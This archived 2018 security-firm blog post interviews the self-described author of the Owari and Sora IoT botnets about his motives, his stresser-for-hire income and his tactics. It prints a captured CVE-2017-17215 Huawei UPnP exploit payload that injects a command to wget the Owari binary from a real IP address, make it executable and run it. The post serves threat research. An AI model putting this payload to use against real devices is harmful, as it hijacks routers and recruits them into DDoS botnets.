Understanding the IoT Hacker—A Conversation With Owari/Sora IoT Botnet Author - New Sky Security

Published: 2018-04-13 · Archived: 2026-04-10 03:04:47 UTC

Since the outbreak of Mirai, IoT threat landscape has seen a lot of new threat actors as well as attack methods. Although people often treat IoT malware as just a malicious piece of code, behind IoT malware development there is human involvement with varying motives.

For building an effective approach to combat IoT threats, understanding the psychology and motivation behind threats can be a useful asset.

NewSky Security has been following an IoT threat actor, known better with his pseudo name “Wicked” in IoT malware circles via forum monitoring and honeypot analysis. “Wicked” has been involved in two IoT botnets, with one of them still evolving to be more effective. After collecting enough information about the credibility of the attacker, we decided to contact him and get an insight into botnets from the attacker’s end. On few conditions of anonymity, the attacker agreed to give us an interview, sharing information about his botnets.

Interview

NewSky Security: Are you the author of SORA and OWARI IoT botnets? If yes, how can you prove it?

Wicked: Yes. I am the author, along with a close friend who I will call Karmaahof. I don’t know if you noticed the domain linked in the previous builds. “hxxp://0day.life “ or “hxxp://wicked.rip “ I own both. If you did not notice

the domains you can ask around in the community.

(Notes from NewSky Security researchers: We observed the same twitter handle mentioned in C2 servers which we used to communicate with the threat actor. So, we believe there is legitimacy in his claims).

NewSky Security: What is the difference between SORA and OWARI botnets?

Wicked: OWARI was started around 6 months ago and SORA was more of a recent project. I have lately abandoned SORA and continued with OWARI. At first, these two botnets both used only default password attacks, but as it progressed I added a few exploit scanners into OWARI.

NewSky Security: Few days ago, our honeypots observed OWARI using CVE-2017–17215 Huawei exploit. Owari did not have exploit before, but now we see it in the latest variants. Have you added it recently ? Why did you add it?

Wicked: We decided to add the exploit scanner because telnet devices are being abused by everyone in the community, so the default password attack was not doing well. And, yes, this was only added recently.

```
<?xml version="1.0" ?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
    <NewStatusURL>$(busybox wget -g 185.165.29.183 -l /tmp/rshtg -r /Binarys/Owari.mips ;chmod +x /tmp/rshtg ;/tmp/rshtg hauwei)</NewStatusURL>
<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
</u:Upgrade>
    </s:Body>
    </s:Envelope>
```

CVE-2017–17215 deployed by Owari logged by Halo IoT Exploit Honeypot

NewSky Security: Have you added any more exploits in SORA/OWARI? Are there any forthcoming developments on your botnets you will like to discuss?

Wicked: Yes, OWARI has a few new exploits built into the bot (it's not finished yet). I am sure your honeypots will pick it up when we start. We are also playing around with a faster password attack method that could be up to 10x faster than the old Mirai attack style even on bad devices.

NewSky Security: I once saw Paras Jha's photo on a SORA server. Why? Do you look up to him as inspiration?

Wicked: Besides me, there are a few others who had access to the servers (I won't name them just in case). So, it can be someone else's work. I don't exactly look up to him as an inspiration, I know he was a huge part in popularizing IoT botnets but there is other people I look up to other than him.

NewSky Security: One of the SORA samples had a link which redirected to an IoT honeypot. As a botnet author, why did you install the honeypot? How does it help you? Do you use it to get more default passwords? What is your favorite honeypot?

Wicked: I installed the Telnet IoT honeypot to help me find ways to kill off existing malware. For example, I can analyze the malware to find un-encrypted strings and kill them off. Also, I don't really have a favorite honeypot as I only use the same one every time https://github.com/Phype/telnet-iot-honeypot .

NewSky Security: How old are you?

Wicked: I don't feel comfortable giving an exact age, so I'll just tell you I am over 18.

NewSky Security: What is your motivation to write SORA and OWARI botnets? If it is money, how are you earning by them? Do you have a stresser service?

Wicked: Money plays a big part in it, but it's also fun to write these types of things. It's a project I can work on and actuality enjoy working on it with my friends. The monetary gain from this does come from web stressers that may rent out botnet out for a period.

NewSky Security: What is the future of SORA and OWARI botnets? Are you going to improve and add new stuff to them? Are you planning to stop these attacks or will we soon see third botnet from you?

Wicked: SORA is an abandoned project for now and I will continue to work on OWARI. You will not see a third project from me anytime soon as I continue to expand my current ones.

NewSky Security: What is your message for IoT owners who don't want to get hacked by your botnets? What do you think about IoT cybersecurity?

Wicked: I don't know what to tell people and IoT security is a joke.

Conclusion

Few months ago, we mentioned that the default IoT password attack is almost near saturation, i.e. the devices which can be hacked easily via default passwords have already been hacked. Hence the attackers (in this case Wicked) are forced to take an alternative option of exploits to have a stronger botnet army.

The IoT attack space is also getting crowded, and as discussed in the interview, attackers are also using techniques like Botkiller modules to kill existing malware on the device, and then run a copy of their own. In this case, the attacker has gone to the extent of deploying a honeypot, which is usually a white hat researcher's job, to find his competitors and to kill their botnets to run one of his own.

The attacker also discussed a clear revenue model which is one of the most prevalent ways by which IoT attackers are making money in 2018, i.e. Stresser as a Service.

Instead of launching a DDoS attack for revenge or showing off, the attackers have been much mature to offer a stresser service, whose clients are black box users, using the botnet army to DDoS a victim of their choice.

NewSky security's IoT Halo platform detects Sora, Owari Classic and the evolved CVE-2017–17215 Owari. Additionally, our IOT exploit and malware honeypots are tracking and recording attacks of these and more IoT botnets to provide effective coverage and intelligence.

> *Ankit Anubhav, Principal Researcher, NewSky Security (NewSky Security)*

Source: https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863